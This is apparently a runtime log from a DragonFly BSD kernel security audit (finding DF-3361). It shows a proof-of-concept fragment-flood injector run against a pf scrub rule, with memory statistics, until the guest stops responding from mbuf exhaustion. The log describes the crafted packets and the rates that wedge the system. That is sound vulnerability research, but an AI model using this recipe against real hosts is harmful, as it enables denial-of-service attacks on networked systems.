⬢ DragonFlyBSD Kernel Audit
DF-3361 / run.log
← back to finding ↓ download raw
DF-3361 — pf fragment pool exhaustion — runtime log (condensed from session)

Guest: DragonFly dfbsd 6.5-DEVELOPMENT #0 Thu Jul 2 06:02:54 UTC 2026 X86_64_GENERIC (INVARIANTS)
Rule:  scrub in on lo0 all fragment reassemble   (pfctl -sr echoes it as
       "scrub in on lo0 all max-mss 64 fragment reassemble" when combined)
Injection: /root/poc/fragflood (raw socket, IP_HDRINCL, src 127.0.0.1,
distinct ip_id per fragment, MF set, off 0, 1024-byte payload)

---BASELINE (before flood)---
$ vmstat -m | grep -iE "pffrag|pffrent"
             pffrag       1      80       0    390M        1
            pffrent       1      32       0    390M        1
$ netstat -m | head -4
7/146632 mbufs in use (current/max):
257/33296 mbuf clusters in use (current/max)
0/8260 mbuf jumbo clusters in use (current/max)
	264 mbufs and mbuf clusters allocated to data

---FLOOD #1: 40000 fragments, distinct ip_id (34.2s; PFTM_FRAG=30s expiry ate the head of the run)---
$ /root/poc/fragflood 40000 1024
done 40000 pkts in 34.2s (1171 pps)

---IMMEDIATELY AFTER---
$ vmstat -m | grep -iE "pffrag|pffrent"
             pffrag   6.32K    506K       0    390M    39.1K
            pffrent   6.32K    202K       0    390M    39.1K
$ netstat -m | head -6
7/146632 mbufs in use (current/max):
6727/33296 mbuf clusters in use (current/max)
0/8260 mbuf jumbo clusters in use (current/max)
	6734 mbufs and mbuf clusters allocated to data
13457 Kbytes allocated to network (9% of mb_map in use)
0 requests for memory denied

=> 6320 concurrent struct pf_fragment (cap was supposed to be
   PFFRAG_FRAG_HIWAT = 1000) and 6320 pf_frent (cap supposed to be
   PFFRAG_FRENT_HIWAT = 5000, registered in pf_pool_limits[] and
   user-tunable via `pfctl set limit frags`) held with ZERO enforcement.

---FLOOD #2/#3: 2x 30000 fresh-key fragments (dst 127.0.0.3 / 127.0.0.4)---
$ /root/poc/fragflood 30000 1024 127.0.0.3
done 30000 pkts in 0.7s (45988 pps)
(second burst output never returned; ssh session died mid-command)

---GUEST STATE (serial console, last lines)---
Warning: objcache(mbuf pkthdr+cl) exhausted on cpu1!
(several repeats; no further console output)

$ dfbsd-qemu/vm.sh status  ->  down
(no panic in the serial log; the system wedged: every packet-header mbuf
 and cluster on the machine was pinned inside pf fragment queues, the
 ssh daemon could no longer allocate mbufs, and the box stopped
 responding to the network until it was hard-reset.)

Conclusion: with a plain default scrub rule (`scrub in all fragment
reassemble`), an unauthenticated local raw-socket injector (== a remote
attacker on any forwarded interface, which needs no privileges at all)
pins unbounded kernel memory in the pf fragment pools; there is no cap
at 5000/1000 entries as designed, and at ~46k pps the box reaches total
mbuf-pool exhaustion (objcache exhausted) within seconds and stops
responding. Reproduced: memory-exhaustion DoS.